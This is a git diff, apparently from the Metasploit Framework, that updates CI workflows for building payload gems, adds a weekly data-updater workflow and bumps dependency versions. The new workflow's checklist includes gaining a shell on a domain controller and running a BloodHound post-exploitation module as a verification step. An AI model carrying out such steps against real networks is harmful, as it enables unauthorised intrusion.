bundle exec gem install metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem
|
||||
bundle config unset deployment
|
||||
bundle update metasploit-payloads
|
||||
bundle install
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Build Windows payloads via Visual Studio 2019 Build (Windows)
|
||||
shell: cmd
|
||||
if: ${{ matrix.meterpreter.name == 'windows_meterpreter' && matrix.os == 'windows-2019' && inputs.build_metasploit_payloads }}
|
||||
@@ -294,12 +274,39 @@ jobs:
|
||||
make.bat
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Build PHP, Python and Windows payloads
|
||||
if: ${{ (matrix.meterpreter.name == 'php' || matrix.meterpreter.name == 'python' || runner.os == 'Windows') && inputs.build_metasploit_payloads }}
|
||||
run: |
|
||||
make install-php install-python install-windows
|
||||
- name: Get metasploit-payloads version
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
shell: bash
|
||||
run: echo "METASPLOIT_PAYLOADS_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" gem/lib/metasploit-payloads/version.rb)" | tee -a $GITHUB_ENV
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Install metasploit-payloads gem
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
run: |
|
||||
bundle exec gem install metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Remove metasploit-payloads version from metasploit-framework.gemspec
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' && runner.os != 'Windows' }}
|
||||
run: |
|
||||
ruby -pi -e "gsub(/metasploit-payloads', '\d+.\d+.\d+/, 'metasploit-payloads')" metasploit-framework.gemspec
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Remove metasploit-payloads version from metasploit-framework.gemspec (Windows)
|
||||
if: ${{ inputs.build_metasploit_payloads && (runner.os == 'Windows' && matrix.meterpreter.name != 'windows_meterpreter') && matrix.meterpreter.name != 'mettle' }}
|
||||
shell: cmd
|
||||
run: |
|
||||
ruby -pi.bak -e "gsub(/metasploit-payloads', '\d+.\d+.\d+/, 'metasploit-payloads')" metasploit-framework.gemspec
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Bundle update/install metasploit-payloads gem
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
run: |
|
||||
bundle config unset deployment
|
||||
bundle update metasploit-payloads
|
||||
bundle install
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
@@ -342,6 +349,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -74,6 +74,11 @@ jobs:
|
||||
docker compose build
|
||||
docker compose up --wait -d
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
@@ -143,6 +148,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -60,16 +60,14 @@ jobs:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.1'
|
||||
- '3.2'
|
||||
- '3.3'
|
||||
- '3.4.0-preview2'
|
||||
- '3.4'
|
||||
os:
|
||||
- ubuntu-20.04
|
||||
- ubuntu-latest
|
||||
include:
|
||||
- os: ubuntu-latest
|
||||
ruby: '3.1'
|
||||
ruby: '3.2'
|
||||
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DEFER_MODULE_LOADS=1'
|
||||
test_cmd:
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
|
||||
@@ -90,6 +88,11 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
name: Weekly Data and External Tool Updater
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: write
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: write
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
schedule:
|
||||
# Run once a week (e.g., every Monday at 01:00 UTC)
|
||||
- cron: '0 1 * * 1'
|
||||
workflow_dispatch: # Allows manual triggering from the Actions tab
|
||||
|
||||
jobs:
|
||||
update-data-files:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
if: github.repository_owner == 'rapid7'
|
||||
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: Run Ruby updater scripts
|
||||
run: |
|
||||
ruby tools/dev/update_wordpress_vulnerabilities.rb
|
||||
ruby tools/dev/update_joomla_components.rb
|
||||
ruby tools/dev/update_user_agent_strings.rb
|
||||
ruby tools/dev/check_external_scripts.rb -u
|
||||
- name: Remove vendor folder # prevent git from adding it
|
||||
run: rm -rf vendor
|
||||
|
||||
- name: Create Pull Request
|
||||
uses: peter-evans/create-pull-request@v7
|
||||
with:
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
commit-message: Update report
|
||||
base: master
|
||||
branch: weekly-updates
|
||||
committer: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
|
||||
author: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
|
||||
title: "Weekly Data Update"
|
||||
draft: false
|
||||
body: |
|
||||
This pull request was created automatically by a GitHub Action to update data files and external scripts.
|
||||
The following tools were run:
|
||||
- ruby tools/dev/update_wordpress_vulnerabilities.rb
|
||||
- ruby tools/dev/update_joomla_components.rb
|
||||
- ruby tools/dev/update_user_agent_strings.rb
|
||||
- ruby tools/dev/check_external_scripts.rb -u
|
||||
## Verification
|
||||
### Wordpress/Joomla Files
|
||||
- [ ] Do a sanity check, do the additions look legit?
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use modules/auxiliary/scanner/http/wordpress_scanner`
|
||||
- [ ] **Verify** it runs
|
||||
### JTR Files
|
||||
- [ ] Do a sanity check, do the additions look legit?
|
||||
- [ ] See https://docs.metasploit.com/docs/using-metasploit/intermediate/hashes-and-password-cracking.html#example-hashes for hashes and cracking
|
||||
### SharpHound
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] get a shell on a DC or box connected to a dc
|
||||
- [ ] `use post/windows/gather/bloodhound`
|
||||
- [ ] `set session`
|
||||
- [ ] `run`
|
||||
- [ ] **Verify** it runs w/o erroring
|
||||
- [ ] `set method disk`
|
||||
- [ ] **Verify** it runs w/o erroring
|
||||
@@ -37,8 +37,8 @@ group :development, :test do
|
||||
# environment is development
|
||||
gem 'rspec-rails'
|
||||
gem 'rspec-rerun'
|
||||
# Required during CI as well local development
|
||||
gem 'rubocop'
|
||||
# Required during CI as well local development - pinned due to CI failure on: rubocop-1.73.2/lib/rubocop/config_loader.rb:272:in `read'
|
||||
gem 'rubocop', '1.67.0'
|
||||
end
|
||||
|
||||
group :test do
|
||||
|
||||
+123
-116
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.4.41)
|
||||
metasploit-framework (6.4.53)
|
||||
aarch64
|
||||
abbrev
|
||||
actionpack (~> 7.0.0)
|
||||
@@ -15,10 +15,12 @@ PATH
|
||||
base64
|
||||
bcrypt
|
||||
bcrypt_pbkdf
|
||||
benchmark
|
||||
bigdecimal
|
||||
bootsnap
|
||||
bson
|
||||
chunky_png
|
||||
concurrent-ruby (= 1.3.4)
|
||||
csv
|
||||
dnsruby
|
||||
drb
|
||||
@@ -31,6 +33,7 @@ PATH
|
||||
faraday-retry
|
||||
faye-websocket
|
||||
ffi (< 1.17.0)
|
||||
fiddle
|
||||
filesize
|
||||
getoptlong
|
||||
hrr_rb_ssh-ed25519
|
||||
@@ -60,6 +63,7 @@ PATH
|
||||
octokit (~> 4.0)
|
||||
openssl-ccm
|
||||
openvas-omp
|
||||
ostruct
|
||||
packetfu
|
||||
patch_finder
|
||||
pcaprub
|
||||
@@ -67,7 +71,7 @@ PATH
|
||||
pg
|
||||
puma
|
||||
railties
|
||||
rasn1 (= 0.13.0)
|
||||
rasn1 (= 0.14.0)
|
||||
rb-readline
|
||||
recog
|
||||
redcarpet
|
||||
@@ -114,29 +118,29 @@ PATH
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.1.1)
|
||||
Ascii85 (2.0.1)
|
||||
aarch64 (2.1.0)
|
||||
racc (~> 1.6)
|
||||
abbrev (0.1.2)
|
||||
actionpack (7.0.8.6)
|
||||
actionview (= 7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
actionpack (7.0.8.7)
|
||||
actionview (= 7.0.8.7)
|
||||
activesupport (= 7.0.8.7)
|
||||
rack (~> 2.0, >= 2.2.4)
|
||||
rack-test (>= 0.6.3)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.2.0)
|
||||
actionview (7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
actionview (7.0.8.7)
|
||||
activesupport (= 7.0.8.7)
|
||||
builder (~> 3.1)
|
||||
erubi (~> 1.4)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.1, >= 1.2.0)
|
||||
activemodel (7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
activerecord (7.0.8.6)
|
||||
activemodel (= 7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
activesupport (7.0.8.6)
|
||||
activemodel (7.0.8.7)
|
||||
activesupport (= 7.0.8.7)
|
||||
activerecord (7.0.8.7)
|
||||
activemodel (= 7.0.8.7)
|
||||
activesupport (= 7.0.8.7)
|
||||
activesupport (7.0.8.7)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 1.6, < 2)
|
||||
minitest (>= 5.1)
|
||||
@@ -144,53 +148,54 @@ GEM
|
||||
addressable (2.8.7)
|
||||
public_suffix (>= 2.0.2, < 7.0)
|
||||
afm (0.2.2)
|
||||
allure-rspec (2.24.5)
|
||||
allure-ruby-commons (= 2.24.5)
|
||||
allure-rspec (2.26.0)
|
||||
allure-ruby-commons (= 2.26.0)
|
||||
rspec-core (>= 3.8, < 4)
|
||||
allure-ruby-commons (2.24.5)
|
||||
allure-ruby-commons (2.26.0)
|
||||
mime-types (>= 3.3, < 4)
|
||||
require_all (>= 2, < 4)
|
||||
rspec-expectations (~> 3.12)
|
||||
uuid (>= 2.3, < 3)
|
||||
arel-helpers (2.15.0)
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
arel-helpers (2.16.0)
|
||||
activerecord (>= 3.1.0, < 8.1)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.3.0)
|
||||
aws-partitions (1.999.0)
|
||||
aws-sdk-core (3.211.0)
|
||||
aws-eventstream (1.3.2)
|
||||
aws-partitions (1.1065.0)
|
||||
aws-sdk-core (3.220.1)
|
||||
aws-eventstream (~> 1, >= 1.3.0)
|
||||
aws-partitions (~> 1, >= 1.992.0)
|
||||
aws-sigv4 (~> 1.9)
|
||||
base64
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
aws-sdk-ec2 (1.486.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-ec2 (1.511.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-ec2instanceconnect (1.52.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-ec2instanceconnect (1.55.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-iam (1.112.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-iam (1.119.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-kms (1.95.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-kms (1.99.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-s3 (1.169.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-s3 (1.182.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-ssm (1.183.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-ssm (1.191.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sigv4 (1.10.1)
|
||||
aws-sigv4 (1.11.0)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
base64 (0.2.0)
|
||||
bcrypt (3.1.20)
|
||||
bcrypt_pbkdf (1.1.1)
|
||||
bigdecimal (3.1.8)
|
||||
benchmark (0.4.0)
|
||||
bigdecimal (3.1.9)
|
||||
bindata (2.4.15)
|
||||
bootsnap (1.18.4)
|
||||
msgpack (~> 1.2)
|
||||
bson (5.0.1)
|
||||
bson (5.0.2)
|
||||
builder (3.3.0)
|
||||
byebug (11.1.3)
|
||||
chunky_png (1.4.0)
|
||||
@@ -198,14 +203,16 @@ GEM
|
||||
concurrent-ruby (1.3.4)
|
||||
cookiejar (0.3.4)
|
||||
crass (1.0.6)
|
||||
csv (3.3.0)
|
||||
csv (3.3.2)
|
||||
daemons (1.4.1)
|
||||
date (3.3.4)
|
||||
date (3.4.1)
|
||||
debug (1.8.0)
|
||||
irb (>= 1.5.0)
|
||||
reline (>= 0.3.1)
|
||||
diff-lcs (1.5.1)
|
||||
dnsruby (1.72.2)
|
||||
diff-lcs (1.6.0)
|
||||
dnsruby (1.72.4)
|
||||
base64 (~> 0.2.0)
|
||||
logger (~> 1.6.5)
|
||||
simpleidn (~> 0.2.1)
|
||||
docile (1.4.1)
|
||||
domain_name (0.6.20240107)
|
||||
@@ -222,10 +229,10 @@ GEM
|
||||
em-socksify (0.3.3)
|
||||
base64
|
||||
eventmachine (>= 1.0.0.beta.4)
|
||||
erubi (1.13.0)
|
||||
erubi (1.13.1)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (6.5.0)
|
||||
activesupport (>= 5.0.0)
|
||||
factory_bot (6.5.1)
|
||||
activesupport (>= 6.1.0)
|
||||
factory_bot_rails (6.4.4)
|
||||
factory_bot (~> 6.5)
|
||||
railties (>= 5.0.0)
|
||||
@@ -242,6 +249,7 @@ GEM
|
||||
eventmachine (>= 0.12.0)
|
||||
websocket-driver (>= 0.5.1)
|
||||
ffi (1.16.3)
|
||||
fiddle (1.1.6)
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
getoptlong (0.2.1)
|
||||
@@ -255,38 +263,37 @@ GEM
|
||||
hrr_rb_ssh-ed25519 (0.4.2)
|
||||
ed25519 (~> 1.2)
|
||||
hrr_rb_ssh (>= 0.4)
|
||||
http-cookie (1.0.7)
|
||||
http-cookie (1.0.8)
|
||||
domain_name (~> 0.5)
|
||||
http_parser.rb (0.8.0)
|
||||
httpclient (2.8.3)
|
||||
i18n (1.14.6)
|
||||
httpclient (2.9.0)
|
||||
mutex_m
|
||||
i18n (1.14.7)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.7.2)
|
||||
io-console (0.8.0)
|
||||
irb (1.7.4)
|
||||
reline (>= 0.3.6)
|
||||
jmespath (1.6.2)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.7.5)
|
||||
language_server-protocol (3.17.0.3)
|
||||
json (2.10.2)
|
||||
language_server-protocol (3.17.0.4)
|
||||
little-plugger (1.1.4)
|
||||
logger (1.6.1)
|
||||
logger (1.6.6)
|
||||
logging (2.4.0)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.14)
|
||||
loofah (2.23.1)
|
||||
loofah (2.24.0)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.12.0)
|
||||
macaddr (1.7.2)
|
||||
systemu (~> 2.6.5)
|
||||
memory_profiler (1.1.0)
|
||||
metasm (1.0.5)
|
||||
metasploit-concern (5.0.3)
|
||||
metasploit-concern (5.0.4)
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
zeitwerk
|
||||
metasploit-credential (6.0.11)
|
||||
metasploit-credential (6.0.12)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 5.0.0)
|
||||
@@ -301,7 +308,7 @@ GEM
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
metasploit-payloads (2.0.189)
|
||||
metasploit_data_models (6.0.5)
|
||||
metasploit_data_models (6.0.6)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
arel-helpers
|
||||
@@ -316,17 +323,17 @@ GEM
|
||||
mime-types (3.6.0)
|
||||
logger
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2024.1001)
|
||||
mini_portile2 (2.8.7)
|
||||
minitest (5.25.1)
|
||||
mime-types-data (3.2025.0304)
|
||||
mini_portile2 (2.8.8)
|
||||
minitest (5.25.5)
|
||||
mqtt (0.6.0)
|
||||
msgpack (1.6.1)
|
||||
multi_json (1.15.0)
|
||||
mustermann (3.0.3)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
mutex_m (0.2.0)
|
||||
mutex_m (0.3.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-imap (0.5.0)
|
||||
net-imap (0.5.6)
|
||||
date
|
||||
net-protocol
|
||||
net-ldap (0.19.0)
|
||||
@@ -334,13 +341,13 @@ GEM
|
||||
timeout
|
||||
net-sftp (4.0.0)
|
||||
net-ssh (>= 5.0.0, < 8.0.0)
|
||||
net-smtp (0.5.0)
|
||||
net-smtp (0.5.1)
|
||||
net-protocol
|
||||
net-ssh (7.3.0)
|
||||
network_interface (0.0.4)
|
||||
nexpose (7.3.0)
|
||||
nio4r (2.7.4)
|
||||
nokogiri (1.16.7)
|
||||
nokogiri (1.18.3)
|
||||
mini_portile2 (~> 2.8.2)
|
||||
racc (~> 1.4)
|
||||
nori (2.7.1)
|
||||
@@ -351,16 +358,17 @@ GEM
|
||||
openssl-ccm (1.2.3)
|
||||
openssl-cmac (2.0.2)
|
||||
openvas-omp (0.0.4)
|
||||
ostruct (0.6.1)
|
||||
packetfu (2.0.0)
|
||||
pcaprub (~> 0.13.1)
|
||||
parallel (1.26.3)
|
||||
parser (3.3.5.0)
|
||||
parser (3.3.7.1)
|
||||
ast (~> 2.4.1)
|
||||
racc
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.3)
|
||||
pdf-reader (2.12.0)
|
||||
Ascii85 (~> 1.0)
|
||||
pdf-reader (2.14.1)
|
||||
Ascii85 (>= 1.0, < 3.0, != 2.0.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
@@ -373,96 +381,97 @@ GEM
|
||||
byebug (~> 11.0)
|
||||
pry (>= 0.13, < 0.15)
|
||||
public_suffix (6.0.1)
|
||||
puma (6.4.3)
|
||||
puma (6.6.0)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.8.1)
|
||||
rack (2.2.10)
|
||||
rack (2.2.13)
|
||||
rack-protection (3.2.0)
|
||||
base64 (>= 0.1.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-test (2.1.0)
|
||||
rack-test (2.2.0)
|
||||
rack (>= 1.3)
|
||||
rails-dom-testing (2.2.0)
|
||||
activesupport (>= 5.0.0)
|
||||
minitest
|
||||
nokogiri (>= 1.6)
|
||||
rails-html-sanitizer (1.6.0)
|
||||
rails-html-sanitizer (1.6.2)
|
||||
loofah (~> 2.21)
|
||||
nokogiri (~> 1.14)
|
||||
railties (7.0.8.6)
|
||||
actionpack (= 7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
nokogiri (>= 1.15.7, != 1.16.7, != 1.16.6, != 1.16.5, != 1.16.4, != 1.16.3, != 1.16.2, != 1.16.1, != 1.16.0.rc1, != 1.16.0)
|
||||
railties (7.0.8.7)
|
||||
actionpack (= 7.0.8.7)
|
||||
activesupport (= 7.0.8.7)
|
||||
method_source
|
||||
rake (>= 12.2)
|
||||
thor (~> 1.0)
|
||||
zeitwerk (~> 2.5)
|
||||
rainbow (3.1.1)
|
||||
rake (13.2.1)
|
||||
rasn1 (0.13.0)
|
||||
rasn1 (0.14.0)
|
||||
strptime (~> 0.2.5)
|
||||
rb-readline (0.5.5)
|
||||
recog (3.1.11)
|
||||
recog (3.1.14)
|
||||
nokogiri
|
||||
redcarpet (3.6.0)
|
||||
regexp_parser (2.9.2)
|
||||
reline (0.5.10)
|
||||
redcarpet (3.6.1)
|
||||
regexp_parser (2.10.0)
|
||||
reline (0.6.0)
|
||||
io-console (~> 0.5)
|
||||
require_all (3.0.0)
|
||||
rex-arch (0.1.16)
|
||||
rex-arch (0.1.18)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.9)
|
||||
rex-bin_tools (0.1.10)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.32)
|
||||
rex-encoder (0.1.7)
|
||||
rex-encoder (0.1.8)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.40)
|
||||
rex-exploitation (0.1.41)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
rex-encoder
|
||||
rex-text
|
||||
rexml
|
||||
rex-java (0.1.7)
|
||||
rex-mime (0.1.8)
|
||||
rex-java (0.1.8)
|
||||
rex-mime (0.1.11)
|
||||
rex-text
|
||||
rex-nop (0.1.3)
|
||||
rex-nop (0.1.4)
|
||||
rex-arch
|
||||
rex-ole (0.1.8)
|
||||
rex-ole (0.1.9)
|
||||
rex-text
|
||||
rex-powershell (0.1.100)
|
||||
rex-powershell (0.1.101)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
ruby-rc4
|
||||
rex-random_identifier (0.1.13)
|
||||
rex-random_identifier (0.1.15)
|
||||
rex-text
|
||||
rex-registry (0.1.5)
|
||||
rex-rop_builder (0.1.5)
|
||||
rex-registry (0.1.6)
|
||||
rex-rop_builder (0.1.6)
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.57)
|
||||
rex-socket (0.1.59)
|
||||
dnsruby
|
||||
rex-core
|
||||
rex-sslscan (0.1.10)
|
||||
rex-sslscan (0.1.11)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.4)
|
||||
rex-text (0.2.59)
|
||||
rex-zip (0.1.5)
|
||||
rex-struct2 (0.1.5)
|
||||
rex-text (0.2.60)
|
||||
rex-zip (0.1.6)
|
||||
rex-text
|
||||
rexml (3.3.9)
|
||||
rexml (3.4.1)
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.13.0)
|
||||
rspec-core (~> 3.13.0)
|
||||
rspec-expectations (~> 3.13.0)
|
||||
rspec-mocks (~> 3.13.0)
|
||||
rspec-core (3.13.2)
|
||||
rspec-core (3.13.3)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-expectations (3.13.3)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
@@ -470,7 +479,7 @@ GEM
|
||||
rspec-mocks (3.13.2)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-rails (7.0.1)
|
||||
rspec-rails (7.1.1)
|
||||
actionpack (>= 7.0)
|
||||
activesupport (>= 7.0)
|
||||
railties (>= 7.0)
|
||||
@@ -480,7 +489,7 @@ GEM
|
||||
rspec-support (~> 3.13)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.13.1)
|
||||
rspec-support (3.13.2)
|
||||
rubocop (1.67.0)
|
||||
json (~> 2.3)
|
||||
language_server-protocol (>= 3.17.0)
|
||||
@@ -491,10 +500,10 @@ GEM
|
||||
rubocop-ast (>= 1.32.2, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 2.4.0, < 3.0)
|
||||
rubocop-ast (1.33.0)
|
||||
rubocop-ast (1.38.1)
|
||||
parser (>= 3.3.1.0)
|
||||
ruby-macho (4.1.0)
|
||||
ruby-mysql (4.1.0)
|
||||
ruby-mysql (4.2.0)
|
||||
ruby-prof (1.4.2)
|
||||
ruby-progressbar (1.13.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
@@ -507,7 +516,7 @@ GEM
|
||||
windows_error (>= 0.1.4)
|
||||
rubyntlm (0.6.5)
|
||||
base64
|
||||
rubyzip (2.3.2)
|
||||
rubyzip (2.4.1)
|
||||
sawyer (0.9.2)
|
||||
addressable (>= 2.3.5)
|
||||
faraday (>= 0.17.3, < 3)
|
||||
@@ -526,30 +535,28 @@ GEM
|
||||
sshkey (3.0.0)
|
||||
strptime (0.2.5)
|
||||
swagger-blocks (3.0.0)
|
||||
systemu (2.6.5)
|
||||
test-prof (1.4.2)
|
||||
test-prof (1.4.4)
|
||||
thin (1.8.2)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (1.3.2)
|
||||
tilt (2.4.0)
|
||||
tilt (2.6.0)
|
||||
timecop (0.9.10)
|
||||
timeout (0.4.1)
|
||||
timeout (0.4.3)
|
||||
ttfunk (1.8.0)
|
||||
bigdecimal (~> 3.1)
|
||||
tzinfo (2.0.6)
|
||||
concurrent-ruby (~> 1.0)
|
||||
tzinfo-data (1.2024.2)
|
||||
tzinfo-data (1.2025.1)
|
||||
tzinfo (>= 1.0.0)
|
||||
unicode-display_width (2.6.0)
|
||||
unix-crypt (1.3.1)
|
||||
uuid (2.3.9)
|
||||
macaddr (~> 1.0)
|
||||
warden (1.2.9)
|
||||
rack (>= 2.0.9)
|
||||
webrick (1.8.2)
|
||||
websocket-driver (0.7.6)
|
||||
webrick (1.9.1)
|
||||
websocket-driver (0.7.7)
|
||||
base64
|
||||
websocket-extensions (>= 0.1.0)
|
||||
websocket-extensions (0.1.5)
|
||||
win32api (0.1.0)
|
||||
@@ -570,7 +577,7 @@ GEM
|
||||
xmlrpc (0.3.3)
|
||||
webrick
|
||||
yard (0.9.37)
|
||||
zeitwerk (2.6.18)
|
||||
zeitwerk (2.7.2)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
@@ -588,7 +595,7 @@ DEPENDENCIES
|
||||
redcarpet
|
||||
rspec-rails
|
||||
rspec-rerun
|
||||
rubocop
|
||||
rubocop (= 1.67.0)
|
||||
ruby-prof (= 1.4.2)
|
||||
simplecov (= 0.18.2)
|
||||
test-prof
|
||||
|
||||
+11
-8
@@ -26,6 +26,7 @@ aws-sigv4, 1.10.1, "Apache 2.0"
|
||||
base64, 0.2.0, "ruby, Simplified BSD"
|
||||
bcrypt, 3.1.20, MIT
|
||||
bcrypt_pbkdf, 1.1.1, MIT
|
||||
benchmark, 0.4.0, "ruby, Simplified BSD"
|
||||
bigdecimal, 3.1.8, "ruby, Simplified BSD"
|
||||
bindata, 2.4.15, "Simplified BSD"
|
||||
bootsnap, 1.18.4, MIT
|
||||
